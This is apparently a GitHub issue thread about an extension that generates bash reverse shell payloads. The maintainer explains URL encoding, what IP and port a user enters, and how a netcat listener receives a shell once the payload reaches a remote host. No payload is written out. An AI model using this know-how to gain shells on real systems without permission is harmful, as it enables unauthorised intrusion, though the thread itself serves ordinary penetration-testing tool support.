Hi @powersem2007 , you can't just paste the url encoded bash reverse shell command into your terminal. You can just use the default reverse shell code. In an instance where you want to embed the payload into a network request or something of that sort then you need to url encode (hence you'll use the url encoded one). For such instance, you'll decode the url encoded payload before it is used.

and what do i put in the ip and port what do i need bc i cant get an connection

[jayluxferro]

you need to put in the IP and Port of your listening device or machine. The extension is just to help you generate the bash payload once those parameters are inserted.

The bash payload enables you to get reverse bash access of a remote machine on your local machine. Most at times, you'll use a tool like netcat to create a listening port and then after delivering the payload to a remote host, you can get a shell access. You can read more here https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/.

Please note that the extension doesn't provide you with those details, it's a faster way to generate your payloads once you input your details.

[jayluxferro]

That's outside the issue you opened. You can search online for useful resources on how to do that. E.g. https://www.geeksforgeeks.org/how-to-create-reverse-shells-with-netcat-in-kali-linux/

Please you can close the issue if you're okay. Thank you.
